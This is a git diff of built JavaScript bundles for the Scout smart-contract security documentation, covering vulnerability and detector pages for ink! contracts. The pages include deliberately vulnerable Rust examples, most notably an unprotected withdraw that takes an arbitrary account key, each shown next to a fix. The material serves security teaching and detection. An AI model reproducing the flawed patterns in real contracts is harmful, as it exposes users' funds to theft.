c=2;c{r.r(t),r.d(t,{assets:()=>s,contentTitle:()=>a,default:()=>d,frontMatter:()=>o,metadata:()=>l,toc:()=>c});var n=r(2564),i=(r(9496),r(9613));const o={},a="Iterators over indexing",l={unversionedId:"vulnerabilities/iterators-over-indexing",id:"vulnerabilities/iterators-over-indexing",title:"Iterators over indexing",description:"Description",source:"@site/docs/vulnerabilities/19-iterators-over-indexing.md",sourceDirName:"vulnerabilities",slug:"/vulnerabilities/iterators-over-indexing",permalink:"/scout/docs/vulnerabilities/iterators-over-indexing",draft:!1,editUrl:"https://github.com/CoinFabrik/scout/docs/vulnerabilities/19-iterators-over-indexing.md",tags:[],version:"current",sidebarPosition:19,frontMatter:{},sidebar:"docsSidebar",previous:{title:"Unprotected Self Destruct",permalink:"/scout/docs/vulnerabilities/unprotected-self-destruct"},next:{title:"Ink! version",permalink:"/scout/docs/vulnerabilities/ink-version"}},s={},c=[{value:"Description",id:"description",level:2},{value:"Exploit Scenario",id:"exploit-scenario",level:2},{value:"Remediation",id:"remediation",level:2},{value:"References",id:"references",level:2}],p={toc:c},u="wrapper";function d(e){let{components:t,...r}=e;return(0,i.kt)(u,(0,n.Z)({},p,r,{components:t,mdxType:"MDXLayout"}),(0,i.kt)("h1",{id:"iterators-over-indexing"},"Iterators over indexing"),(0,i.kt)("h2",{id:"description"},"Description"),(0,i.kt)("ul",null,(0,i.kt)("li",{parentName:"ul"},"Vulnerability Category: ",(0,i.kt)("inlineCode",{parentName:"li"},"Best practices")),(0,i.kt)("li",{parentName:"ul"},"Vulnerability Severity: ",(0,i.kt)("inlineCode",{parentName:"li"},"Enhancement")),(0,i.kt)("li",{parentName:"ul"},"Detectors: ",(0,i.kt)("a",{parentName:"li",href:"https://github.com/CoinFabrik/scout/tree/main/detectors/iterators-over-indexing"},(0,i.kt)("inlineCode",{parentName:"a"},"iterators-over-indexing"))),(0,i.kt)("li",{parentName:"ul"},"Test Cases: ",(0,i.kt)("a",{parentName:"li",href:"https://github.com/CoinFabrik/scout/tree/main/test-cases/iterators-over-indexing/iterators-over-indexing-1"},(0,i.kt)("inlineCode",{parentName:"a"},"iterators-over-indexing-1")))),(0,i.kt)("p",null,"Iterating with hardcoded indexes is slower than using an iterator. Also, if the index is out of bounds, it will panic."),(0,i.kt)("h2",{id:"exploit-scenario"},"Exploit Scenario"),(0,i.kt)("p",null,"Consider the following ",(0,i.kt)("inlineCode",{parentName:"p"},"ink!")," contract:"),(0,i.kt)("pre",null,(0,i.kt)("code",{parentName:"pre",className:"language-rust"}," #[ink(message)]\n pub fn bad_indexing(&self){\n for i in 0..3 {\n foo(self.value[i]);\n }\n }\n")),(0,i.kt)("p",null,"The problem arises from the use of hardcoded indexes. If ",(0,i.kt)("inlineCode",{parentName:"p"},"self.value")," has less than 4 elements, the contract will panic."),(0,i.kt)("p",null,"The vulnerable code example can be found ",(0,i.kt)("a",{parentName:"p",href:"https://github.com/CoinFabrik/scout/tree/main/test-cases/iterators-over-indexing/iterators-over-indexing-1/vulnerable-example"},(0,i.kt)("inlineCode",{parentName:"a"},"here")),"."),(0,i.kt)("h2",{id:"remediation"},"Remediation"),(0,i.kt)("p",null,"Avoid the use of hardcoded indexes. Instead, use ",(0,i.kt)("inlineCode",{parentName:"p"},"iter()"),", ",(0,i.kt)("inlineCode",{parentName:"p"},"to_iter()"),", ",(0,i.kt)("inlineCode",{parentName:"p"},"for ... in ...")," or range over ",(0,i.kt)("inlineCode",{parentName:"p"},"0..value.len()")),(0,i.kt)("p",null,"The remediated code example can be found ",(0,i.kt)("a",{parentName:"p",href:"https://github.com/CoinFabrik/scout/tree/main/test-cases/iterators-over-indexing/iterators-over-indexing-1/remediated-example"},(0,i.kt)("inlineCode",{parentName:"a"},"here")),"."),(0,i.kt)("h2",{id:"references"},"References"),(0,i.kt)("ul",null,(0,i.kt)("li",{parentName:"ul"},(0,i.kt)("a",{parentName:"li",href:"https://docs.alephzero.org/aleph-zero/security-course-by-kudelski-security/ink-developers-security-guideline#memory-management"},"Aleph Zero ink! Developer security guidelines"))))}d.isMDXComponent=!0}}]); \ No newline at end of file diff --git a/assets/js/be2f784f.a9bc2431.js b/assets/js/be2f784f.8c10f1c9.js similarity index 52% rename from assets/js/be2f784f.a9bc2431.js rename to assets/js/be2f784f.8c10f1c9.js index 193b2aa6..5f391266 100644 --- a/assets/js/be2f784f.a9bc2431.js +++ b/assets/js/be2f784f.8c10f1c9.js @@ -1 +1 @@ -"use strict";(self.webpackChunkscout=self.webpackChunkscout||[]).push([[9152],{9613:(e,t,n)=>{n.d(t,{Zo:()=>c,kt:()=>f});var r=n(9496);function a(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function i(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,r)}return n}function o(e){for(var t=1;t=0||(a[n]=e[n]);return a}(e,t);if(Object.getOwnPropertySymbols){var i=Object.getOwnPropertySymbols(e);for(r=0;r=0||Object.prototype.propertyIsEnumerable.call(e,n)&&(a[n]=e[n])}return a}var p=r.createContext({}),s=function(e){var t=r.useContext(p),n=t;return e&&(n="function"==typeof e?e(t):o(o({},t),e)),n},c=function(e){var t=s(e.components);return r.createElement(p.Provider,{value:t},e.children)},u="mdxType",d={inlineCode:"code",wrapper:function(e){var t=e.children;return r.createElement(r.Fragment,{},t)}},m=r.forwardRef((function(e,t){var n=e.components,a=e.mdxType,i=e.originalType,p=e.parentName,c=l(e,["components","mdxType","originalType","parentName"]),u=s(n),m=a,f=u["".concat(p,".").concat(m)]||u[m]||d[m]||i;return n?r.createElement(f,o(o({ref:t},c),{},{components:n})):r.createElement(f,o({ref:t},c))}));function f(e,t){var n=arguments,a=t&&t.mdxType;if("string"==typeof e||a){var i=n.length,o=new Array(i);o[0]=m;var l={};for(var p in t)hasOwnProperty.call(t,p)&&(l[p]=t[p]);l.originalType=e,l[u]="string"==typeof e?e:a,o[1]=l;for(var s=2;s{n.r(t),n.d(t,{assets:()=>p,contentTitle:()=>o,default:()=>d,frontMatter:()=>i,metadata:()=>l,toc:()=>s});var r=n(2564),a=(n(9496),n(9613));const i={},o="Unprotected mapping operation",l={unversionedId:"vulnerabilities/unprotected-mapping-operation",id:"vulnerabilities/unprotected-mapping-operation",title:"Unprotected mapping operation",description:"Description",source:"@site/docs/vulnerabilities/22-unprotected-mapping-operation.md",sourceDirName:"vulnerabilities",slug:"/vulnerabilities/unprotected-mapping-operation",permalink:"/scout/docs/vulnerabilities/unprotected-mapping-operation",draft:!1,editUrl:"https://github.com/CoinFabrik/scout/docs/vulnerabilities/22-unprotected-mapping-operation.md",tags:[],version:"current",sidebarPosition:22,frontMatter:{},sidebar:"docsSidebar",previous:{title:"Unprotected Set Code Hash",permalink:"/scout/docs/vulnerabilities/unprotected-set-code-hash"},next:{title:"Lazy storage on delegate",permalink:"/scout/docs/vulnerabilities/lazy-delegate"}},p={},s=[{value:"Description",id:"description",level:2},{value:"Exploit Scenario",id:"exploit-scenario",level:2},{value:"Remediation",id:"remediation",level:2},{value:"References",id:"references",level:2}],c={toc:s},u="wrapper";function d(e){let{components:t,...n}=e;return(0,a.kt)(u,(0,r.Z)({},c,n,{components:t,mdxType:"MDXLayout"}),(0,a.kt)("h1",{id:"unprotected-mapping-operation"},"Unprotected mapping operation"),(0,a.kt)("h2",{id:"description"},"Description"),(0,a.kt)("ul",null,(0,a.kt)("li",{parentName:"ul"},"Vulnerability Category: ",(0,a.kt)("inlineCode",{parentName:"li"},"Authorization")),(0,a.kt)("li",{parentName:"ul"},"Vulnerability Severity: ",(0,a.kt)("inlineCode",{parentName:"li"},"Critical")),(0,a.kt)("li",{parentName:"ul"},"Detectors: ",(0,a.kt)("a",{parentName:"li",href:"https://github.com/CoinFabrik/scout/tree/main/detectors/unprotected-mapping-operation"},(0,a.kt)("inlineCode",{parentName:"a"},"unprotected-mapping-operation"))),(0,a.kt)("li",{parentName:"ul"},"Test Cases: ",(0,a.kt)("a",{parentName:"li",href:"https://github.com/CoinFabrik/scout/tree/main/test-cases/unprotected-mapping-operation/unprotected-mapping-operation1"},(0,a.kt)("inlineCode",{parentName:"a"},"unprotected-mapping-operation-1")))),(0,a.kt)("p",null,"Modifying mappings with an arbitrary key given by users can be a significant vulnerability for several reasons:"),(0,a.kt)("ul",null,(0,a.kt)("li",{parentName:"ul"},(0,a.kt)("p",{parentName:"li"},"Unintended Modifications: Allowing users to provide arbitrary keys can lead to unintended modifications of critical data within the smart contract. If the input validation and sanitation are not done properly, users may be able to manipulate the data in ways that were not intended by the contract's author.")),(0,a.kt)("li",{parentName:"ul"},(0,a.kt)("p",{parentName:"li"},"Data Corruption: Malicious users could intentionally provide keys that result in the corruption or manipulation of important data stored in the mapping. This could lead to incorrect calculations, unauthorized access, or other undesirable outcomes.")),(0,a.kt)("li",{parentName:"ul"},(0,a.kt)("p",{parentName:"li"},"Denial-of-Service (DoS) Attacks: If users can set arbitrary keys, they may be able to create mappings with a large number of entries, potentially causing the contract to exceed its gas limit. This could lead to denial-of-service attacks, making the contract unusable for other users."))),(0,a.kt)("h2",{id:"exploit-scenario"},"Exploit Scenario"),(0,a.kt)("p",null,"Consider the following ",(0,a.kt)("inlineCode",{parentName:"p"},"ink!")," contract:"),(0,a.kt)("pre",null,(0,a.kt)("code",{parentName:"pre",className:"language-rust"}," #[ink(message)]\n pub fn withdraw(&mut self, amount: Balance, from: AccountId) -> Result<(), Error> {\n let current_bal = self.balances.take(from).unwrap_or(0);\n if current_bal >= amount {\n self.balances.insert(from, &(current_bal - amount));\n self.env()\n .transfer(from, current_bal)\n .map_err(|_| Error::TransferError)\n } else {\n Err(Error::BalanceNotEnough)\n }\n }\n")),(0,a.kt)("p",null,"The vulnerability in this ",(0,a.kt)("inlineCode",{parentName:"p"},"withdraw")," function arises from the use of ",(0,a.kt)("inlineCode",{parentName:"p"},"from"),", an user-defined parameter used as key in the mapping without prior sanitizing. Alice can withdraw tokens from any user to the user balance. "),(0,a.kt)("p",null,"The vulnerable code example can be found ",(0,a.kt)("a",{parentName:"p",href:"https://github.com/CoinFabrik/scout/tree/main/test-cases/unprotected-mapping-operation/unprotected-mapping-operation1/vulnerable-example"},(0,a.kt)("inlineCode",{parentName:"a"},"here")),"."),(0,a.kt)("h2",{id:"remediation"},"Remediation"),(0,a.kt)("p",null,"Avoid using user-given arguments as ",(0,a.kt)("inlineCode",{parentName:"p"},"key")," parameter in mapping. Instead, use ",(0,a.kt)("inlineCode",{parentName:"p"},"self.env().caller()")," or sanitize the values."),(0,a.kt)("pre",null,(0,a.kt)("code",{parentName:"pre",className:"language-rust"}," #[ink(message)]\n pub fn withdraw(&mut self, amount: Balance) -> Result<(), Error> {\n let caller = self.env().caller();\n let current_bal = self.balances.take(caller).unwrap_or(0);\n if current_bal >= amount {\n self.balances.insert(caller, &(current_bal - amount));\n self.env()\n .transfer(caller, current_bal)\n .map_err(|_| Error::TransferError)\n } else {\n Err(Error::BalanceNotEnough)\n }\n }\n")),(0,a.kt)("h2",{id:"references"},"References"),(0,a.kt)("ul",null,(0,a.kt)("li",{parentName:"ul"},(0,a.kt)("a",{parentName:"li",href:"https://docs.alephzero.org/aleph-zero/security-course-by-kudelski-security/ink-developers-security-guideline#unprotected-self-destruction-or-burning-instruction-s"},"Aleph Zero ink! Developer security guidelines"))))}d.isMDXComponent=!0}}]); \ No newline at end of file +"use strict";(self.webpackChunkscout=self.webpackChunkscout||[]).push([[9152],{9613:(e,t,n)=>{n.d(t,{Zo:()=>c,kt:()=>f});var r=n(9496);function a(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function i(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,r)}return n}function o(e){for(var t=1;t=0||(a[n]=e[n]);return a}(e,t);if(Object.getOwnPropertySymbols){var i=Object.getOwnPropertySymbols(e);for(r=0;r=0||Object.prototype.propertyIsEnumerable.call(e,n)&&(a[n]=e[n])}return a}var p=r.createContext({}),s=function(e){var t=r.useContext(p),n=t;return e&&(n="function"==typeof e?e(t):o(o({},t),e)),n},c=function(e){var t=s(e.components);return r.createElement(p.Provider,{value:t},e.children)},u="mdxType",d={inlineCode:"code",wrapper:function(e){var t=e.children;return r.createElement(r.Fragment,{},t)}},m=r.forwardRef((function(e,t){var n=e.components,a=e.mdxType,i=e.originalType,p=e.parentName,c=l(e,["components","mdxType","originalType","parentName"]),u=s(n),m=a,f=u["".concat(p,".").concat(m)]||u[m]||d[m]||i;return n?r.createElement(f,o(o({ref:t},c),{},{components:n})):r.createElement(f,o({ref:t},c))}));function f(e,t){var n=arguments,a=t&&t.mdxType;if("string"==typeof e||a){var i=n.length,o=new Array(i);o[0]=m;var l={};for(var p in t)hasOwnProperty.call(t,p)&&(l[p]=t[p]);l.originalType=e,l[u]="string"==typeof e?e:a,o[1]=l;for(var s=2;s{n.r(t),n.d(t,{assets:()=>p,contentTitle:()=>o,default:()=>d,frontMatter:()=>i,metadata:()=>l,toc:()=>s});var r=n(2564),a=(n(9496),n(9613));const i={},o="Unprotected mapping operation",l={unversionedId:"vulnerabilities/unprotected-mapping-operation",id:"vulnerabilities/unprotected-mapping-operation",title:"Unprotected mapping operation",description:"Description",source:"@site/docs/vulnerabilities/22-unprotected-mapping-operation.md",sourceDirName:"vulnerabilities",slug:"/vulnerabilities/unprotected-mapping-operation",permalink:"/scout/docs/vulnerabilities/unprotected-mapping-operation",draft:!1,editUrl:"https://github.com/CoinFabrik/scout/docs/vulnerabilities/22-unprotected-mapping-operation.md",tags:[],version:"current",sidebarPosition:22,frontMatter:{},sidebar:"docsSidebar",previous:{title:"Unprotected Set Code Hash",permalink:"/scout/docs/vulnerabilities/unprotected-set-code-hash"},next:{title:"Lazy storage on delegate",permalink:"/scout/docs/vulnerabilities/lazy-delegate"}},p={},s=[{value:"Description",id:"description",level:2},{value:"Exploit Scenario",id:"exploit-scenario",level:2},{value:"Remediation",id:"remediation",level:2},{value:"References",id:"references",level:2}],c={toc:s},u="wrapper";function d(e){let{components:t,...n}=e;return(0,a.kt)(u,(0,r.Z)({},c,n,{components:t,mdxType:"MDXLayout"}),(0,a.kt)("h1",{id:"unprotected-mapping-operation"},"Unprotected mapping operation"),(0,a.kt)("h2",{id:"description"},"Description"),(0,a.kt)("ul",null,(0,a.kt)("li",{parentName:"ul"},"Vulnerability Category: ",(0,a.kt)("inlineCode",{parentName:"li"},"Authorization")),(0,a.kt)("li",{parentName:"ul"},"Vulnerability Severity: ",(0,a.kt)("inlineCode",{parentName:"li"},"Critical")),(0,a.kt)("li",{parentName:"ul"},"Detectors: ",(0,a.kt)("a",{parentName:"li",href:"https://github.com/CoinFabrik/scout/tree/main/detectors/unprotected-mapping-operation"},(0,a.kt)("inlineCode",{parentName:"a"},"unprotected-mapping-operation"))),(0,a.kt)("li",{parentName:"ul"},"Test Cases: ",(0,a.kt)("a",{parentName:"li",href:"https://github.com/CoinFabrik/scout/tree/main/test-cases/unprotected-mapping-operation/unprotected-mapping-operation-1"},(0,a.kt)("inlineCode",{parentName:"a"},"unprotected-mapping-operation-1")))),(0,a.kt)("p",null,"Modifying mappings with an arbitrary key given by users can be a significant vulnerability for several reasons:"),(0,a.kt)("ul",null,(0,a.kt)("li",{parentName:"ul"},(0,a.kt)("p",{parentName:"li"},"Unintended Modifications: Allowing users to provide arbitrary keys can lead to unintended modifications of critical data within the smart contract. If the input validation and sanitation are not done properly, users may be able to manipulate the data in ways that were not intended by the contract's author.")),(0,a.kt)("li",{parentName:"ul"},(0,a.kt)("p",{parentName:"li"},"Data Corruption: Malicious users could intentionally provide keys that result in the corruption or manipulation of important data stored in the mapping. This could lead to incorrect calculations, unauthorized access, or other undesirable outcomes.")),(0,a.kt)("li",{parentName:"ul"},(0,a.kt)("p",{parentName:"li"},"Denial-of-Service (DoS) Attacks: If users can set arbitrary keys, they may be able to create mappings with a large number of entries, potentially causing the contract to exceed its gas limit. This could lead to denial-of-service attacks, making the contract unusable for other users."))),(0,a.kt)("h2",{id:"exploit-scenario"},"Exploit Scenario"),(0,a.kt)("p",null,"Consider the following ",(0,a.kt)("inlineCode",{parentName:"p"},"ink!")," contract:"),(0,a.kt)("pre",null,(0,a.kt)("code",{parentName:"pre",className:"language-rust"}," #[ink(message)]\n pub fn withdraw(&mut self, amount: Balance, from: AccountId) -> Result<(), Error> {\n let current_bal = self.balances.take(from).unwrap_or(0);\n if current_bal >= amount {\n self.balances.insert(from, &(current_bal - amount));\n self.env()\n .transfer(from, current_bal)\n .map_err(|_| Error::TransferError)\n } else {\n Err(Error::BalanceNotEnough)\n }\n }\n")),(0,a.kt)("p",null,"The vulnerability in this ",(0,a.kt)("inlineCode",{parentName:"p"},"withdraw")," function arises from the use of ",(0,a.kt)("inlineCode",{parentName:"p"},"from"),", an user-defined parameter used as key in the mapping without prior sanitizing. Alice can withdraw tokens from any user to the user balance. "),(0,a.kt)("p",null,"The vulnerable code example can be found ",(0,a.kt)("a",{parentName:"p",href:"https://github.com/CoinFabrik/scout/tree/main/test-cases/unprotected-mapping-operation/unprotected-mapping-operation-1/vulnerable-example"},(0,a.kt)("inlineCode",{parentName:"a"},"here")),"."),(0,a.kt)("h2",{id:"remediation"},"Remediation"),(0,a.kt)("p",null,"Avoid using user-given arguments as ",(0,a.kt)("inlineCode",{parentName:"p"},"key")," parameter in mapping. Instead, use ",(0,a.kt)("inlineCode",{parentName:"p"},"self.env().caller()")," or sanitize the values."),(0,a.kt)("pre",null,(0,a.kt)("code",{parentName:"pre",className:"language-rust"}," #[ink(message)]\n pub fn withdraw(&mut self, amount: Balance) -> Result<(), Error> {\n let caller = self.env().caller();\n let current_bal = self.balances.take(caller).unwrap_or(0);\n if current_bal >= amount {\n self.balances.insert(caller, &(current_bal - amount));\n self.env()\n .transfer(caller, current_bal)\n .map_err(|_| Error::TransferError)\n } else {\n Err(Error::BalanceNotEnough)\n }\n }\n")),(0,a.kt)("h2",{id:"references"},"References"),(0,a.kt)("ul",null,(0,a.kt)("li",{parentName:"ul"},(0,a.kt)("a",{parentName:"li",href:"https://docs.alephzero.org/aleph-zero/security-course-by-kudelski-security/ink-developers-security-guideline#unprotected-self-destruction-or-burning-instruction-s"},"Aleph Zero ink! Developer security guidelines"))))}d.isMDXComponent=!0}}]); \ No newline at end of file diff --git a/assets/js/bf8500d4.0a7e61cd.js b/assets/js/bf8500d4.c68d9bfe.js similarity index 64% rename from assets/js/bf8500d4.0a7e61cd.js rename to assets/js/bf8500d4.c68d9bfe.js index 1815854a..3884472b 100644 --- a/assets/js/bf8500d4.0a7e61cd.js +++ b/assets/js/bf8500d4.c68d9bfe.js @@ -1 +1 @@ -"use strict";(self.webpackChunkscout=self.webpackChunkscout||[]).push([[5458],{9613:(e,t,n)=>{n.d(t,{Zo:()=>c,kt:()=>m});var r=n(9496);function a(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function o(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,r)}return n}function u(e){for(var t=1;t=0||(a[n]=e[n]);return a}(e,t);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertySymbols(e);for(r=0;r=0||Object.prototype.propertyIsEnumerable.call(e,n)&&(a[n]=e[n])}return a}var l=r.createContext({}),s=function(e){var t=r.useContext(l),n=t;return e&&(n="function"==typeof e?e(t):u(u({},t),e)),n},c=function(e){var t=s(e.components);return r.createElement(l.Provider,{value:t},e.children)},d="mdxType",p={inlineCode:"code",wrapper:function(e){var t=e.children;return r.createElement(r.Fragment,{},t)}},f=r.forwardRef((function(e,t){var n=e.components,a=e.mdxType,o=e.originalType,l=e.parentName,c=i(e,["components","mdxType","originalType","parentName"]),d=s(n),f=a,m=d["".concat(l,".").concat(f)]||d[f]||p[f]||o;return n?r.createElement(m,u(u({ref:t},c),{},{components:n})):r.createElement(m,u({ref:t},c))}));function m(e,t){var n=arguments,a=t&&t.mdxType;if("string"==typeof e||a){var o=n.length,u=new Array(o);u[0]=f;var i={};for(var l in t)hasOwnProperty.call(t,l)&&(i[l]=t[l]);i.originalType=e,i[d]="string"==typeof e?e:a,u[1]=i;for(var s=2;s{n.r(t),n.d(t,{assets:()=>l,contentTitle:()=>u,default:()=>p,frontMatter:()=>o,metadata:()=>i,toc:()=>s});var r=n(2564),a=(n(9496),n(9613));const o={},u="Unused return enum",i={unversionedId:"detectors/unused-return-enum",id:"detectors/unused-return-enum",title:"Unused return enum",description:"What it does",source:"@site/docs/detectors/5-unused-return-enum.md",sourceDirName:"detectors",slug:"/detectors/unused-return-enum",permalink:"/scout/docs/detectors/unused-return-enum",draft:!1,editUrl:"https://github.com/CoinFabrik/scout/docs/detectors/5-unused-return-enum.md",tags:[],version:"current",sidebarPosition:5,frontMatter:{},sidebar:"docsSidebar",previous:{title:"Panic error",permalink:"/scout/docs/detectors/panic-error"},next:{title:"DoS unbounded operation",permalink:"/scout/docs/detectors/dos-unbounded-operation"}},l={},s=[{value:"What it does",id:"what-it-does",level:3},{value:"Why is this bad?",id:"why-is-this-bad",level:3},{value:"Known problems",id:"known-problems",level:3},{value:"Example",id:"example",level:3},{value:"Implementation",id:"implementation",level:3}],c={toc:s},d="wrapper";function p(e){let{components:t,...n}=e;return(0,a.kt)(d,(0,r.Z)({},c,n,{components:t,mdxType:"MDXLayout"}),(0,a.kt)("h1",{id:"unused-return-enum"},"Unused return enum"),(0,a.kt)("h3",{id:"what-it-does"},"What it does"),(0,a.kt)("p",null,"It warns if a function that returns a Result type does not return the Result enum variant (Ok/Err)."),(0,a.kt)("h3",{id:"why-is-this-bad"},"Why is this bad?"),(0,a.kt)("p",null,"If any of the variants (Ok/Err) is not used, the code could be simplified or it could imply a bug."),(0,a.kt)("h3",{id:"known-problems"},"Known problems"),(0,a.kt)("p",null,"If definitions of Err() and/or Ok() are in the code but do not flow to the return value due to the definition of a variable or because they are defined in a dead code block, the warning will not be shown. If the definitions are made in an auxiliary method, the warning will be shown, resulting in a false positive."),(0,a.kt)("h3",{id:"example"},"Example"),(0,a.kt)("p",null,"Instead of using:"),(0,a.kt)("pre",null,(0,a.kt)("code",{parentName:"pre",className:"language-rust"},'// example code that does not raise a warning\n #![cfg_attr(not(feature = "std"), no_std)]\n pub enum TradingPairErrors {\n Overflow,\n }\n\n #[ink(message)]\n pub fn get_percentage_difference(&mut self, value1: Balance, value2: Balance) -> Result {\n let absolute_difference = value1.abs_diff(value2);\n let sum = value1 + value2;\n let percentage_difference =\n match 100u128.checked_mul(absolute_difference / sum) {\n Some(result) => Ok(result),\n None => panic!("overflow!"),\n };\n return Err(TradingPairErrors::Overflow);\n }\n')),(0,a.kt)("p",null,"Use this:"),(0,a.kt)("pre",null,(0,a.kt)("code",{parentName:"pre",className:"language-rust"},' #![cfg_attr(not(feature = "std"), no_std)]\n pub enum TradingPairErrors {\n Overflow,\n }\n\n #[ink(message)]\n pub fn get_percentage_difference(&mut self, value1: Balance, value2: Balance) -> Result {\n let absolute_difference = value1.abs_diff(value2);\n let sum = value1 + value2;\n let percentage_difference =\n match 100u128.checked_mul(absolute_difference / sum) {\n Some(result) => result,\n None => Err(TradingPairErrors::Overflow),\n }\n }\n')),(0,a.kt)("h3",{id:"implementation"},"Implementation"),(0,a.kt)("p",null,"The detector's implementation can be found at ",(0,a.kt)("a",{parentName:"p",href:"https://github.com/CoinFabrik/scout/tree/main/detectors/unused-return-enum"},"this link"),"."))}p.isMDXComponent=!0}}]); \ No newline at end of file +"use strict";(self.webpackChunkscout=self.webpackChunkscout||[]).push([[5458],{9613:(e,t,n)=>{n.d(t,{Zo:()=>c,kt:()=>m});var r=n(9496);function a(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function o(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,r)}return n}function u(e){for(var t=1;t=0||(a[n]=e[n]);return a}(e,t);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertySymbols(e);for(r=0;r=0||Object.prototype.propertyIsEnumerable.call(e,n)&&(a[n]=e[n])}return a}var l=r.createContext({}),s=function(e){var t=r.useContext(l),n=t;return e&&(n="function"==typeof e?e(t):u(u({},t),e)),n},c=function(e){var t=s(e.components);return r.createElement(l.Provider,{value:t},e.children)},d="mdxType",p={inlineCode:"code",wrapper:function(e){var t=e.children;return r.createElement(r.Fragment,{},t)}},f=r.forwardRef((function(e,t){var n=e.components,a=e.mdxType,o=e.originalType,l=e.parentName,c=i(e,["components","mdxType","originalType","parentName"]),d=s(n),f=a,m=d["".concat(l,".").concat(f)]||d[f]||p[f]||o;return n?r.createElement(m,u(u({ref:t},c),{},{components:n})):r.createElement(m,u({ref:t},c))}));function m(e,t){var n=arguments,a=t&&t.mdxType;if("string"==typeof e||a){var o=n.length,u=new Array(o);u[0]=f;var i={};for(var l in t)hasOwnProperty.call(t,l)&&(i[l]=t[l]);i.originalType=e,i[d]="string"==typeof e?e:a,u[1]=i;for(var s=2;s{n.r(t),n.d(t,{assets:()=>l,contentTitle:()=>u,default:()=>p,frontMatter:()=>o,metadata:()=>i,toc:()=>s});var r=n(2564),a=(n(9496),n(9613));const o={},u="Unused return enum",i={unversionedId:"detectors/unused-return-enum",id:"detectors/unused-return-enum",title:"Unused return enum",description:"What it does",source:"@site/docs/detectors/5-unused-return-enum.md",sourceDirName:"detectors",slug:"/detectors/unused-return-enum",permalink:"/scout/docs/detectors/unused-return-enum",draft:!1,editUrl:"https://github.com/CoinFabrik/scout/docs/detectors/5-unused-return-enum.md",tags:[],version:"current",sidebarPosition:5,frontMatter:{},sidebar:"docsSidebar",previous:{title:"Panic error",permalink:"/scout/docs/detectors/panic-error"},next:{title:"DoS unbounded operation",permalink:"/scout/docs/detectors/dos-unbounded-operation"}},l={},s=[{value:"What it does",id:"what-it-does",level:3},{value:"Why is this bad?",id:"why-is-this-bad",level:3},{value:"Known problems",id:"known-problems",level:3},{value:"Example",id:"example",level:3},{value:"Implementation",id:"implementation",level:3}],c={toc:s},d="wrapper";function p(e){let{components:t,...n}=e;return(0,a.kt)(d,(0,r.Z)({},c,n,{components:t,mdxType:"MDXLayout"}),(0,a.kt)("h1",{id:"unused-return-enum"},"Unused return enum"),(0,a.kt)("h3",{id:"what-it-does"},"What it does"),(0,a.kt)("p",null,"It warns if a function that returns a Result type does not return the Result enum variant (Ok/Err)."),(0,a.kt)("h3",{id:"why-is-this-bad"},"Why is this bad?"),(0,a.kt)("p",null,"If any of the variants (Ok/Err) is not used, the code could be simplified or it could imply a bug."),(0,a.kt)("h3",{id:"known-problems"},"Known problems"),(0,a.kt)("p",null,"If definitions of ",(0,a.kt)("inlineCode",{parentName:"p"},"Err()")," and/or ",(0,a.kt)("inlineCode",{parentName:"p"},"Ok()")," are in the code but do not flow to the return value due to the definition of a variable or because they are defined in a dead code block, the warning will not be shown. If the definitions are made in an auxiliary method, the warning will be shown, resulting in a false positive."),(0,a.kt)("h3",{id:"example"},"Example"),(0,a.kt)("p",null,"Instead of using:"),(0,a.kt)("pre",null,(0,a.kt)("code",{parentName:"pre",className:"language-rust"},'// example code that does not raise a warning\n #![cfg_attr(not(feature = "std"), no_std)]\n pub enum TradingPairErrors {\n Overflow,\n }\n\n #[ink(message)]\n pub fn get_percentage_difference(&mut self, value1: Balance, value2: Balance) -> Result {\n let absolute_difference = value1.abs_diff(value2);\n let sum = value1 + value2;\n let percentage_difference =\n match 100u128.checked_mul(absolute_difference / sum) {\n Some(result) => Ok(result),\n None => panic!("overflow!"),\n };\n return Err(TradingPairErrors::Overflow);\n }\n')),(0,a.kt)("p",null,"Use this:"),(0,a.kt)("pre",null,(0,a.kt)("code",{parentName:"pre",className:"language-rust"},' #![cfg_attr(not(feature = "std"), no_std)]\n pub enum TradingPairErrors {\n Overflow,\n }\n\n #[ink(message)]\n pub fn get_percentage_difference(&mut self, value1: Balance, value2: Balance) -> Result {\n let absolute_difference = value1.abs_diff(value2);\n let sum = value1 + value2;\n let percentage_difference =\n match 100u128.checked_mul(absolute_difference / sum) {\n Some(result) => result,\n None => Err(TradingPairErrors::Overflow),\n }\n }\n')),(0,a.kt)("h3",{id:"implementation"},"Implementation"),(0,a.kt)("p",null,"The detector's implementation can be found at ",(0,a.kt)("a",{parentName:"p",href:"https://github.com/CoinFabrik/scout/tree/main/detectors/unused-return-enum"},"this link"),"."))}p.isMDXComponent=!0}}]); \ No newline at end of file diff --git a/assets/js/c221cde9.0c945a20.js b/assets/js/c221cde9.0c945a20.js new file mode 100644 index 00000000..a79c0fdb --- /dev/null +++ b/assets/js/c221cde9.0c945a20.js @@ -0,0 +1 @@ +"use strict";(self.webpackChunkscout=self.webpackChunkscout||[]).push([[3967],{9613:(e,n,t)=>{t.d(n,{Zo:()=>u,kt:()=>b});var a=t(9496);function r(e,n,t){return n in e?Object.defineProperty(e,n,{value:t,enumerable:!0,configurable:!0,writable:!0}):e[n]=t,e}function i(e,n){var t=Object.keys(e);if(Object.getOwnPropertySymbols){var 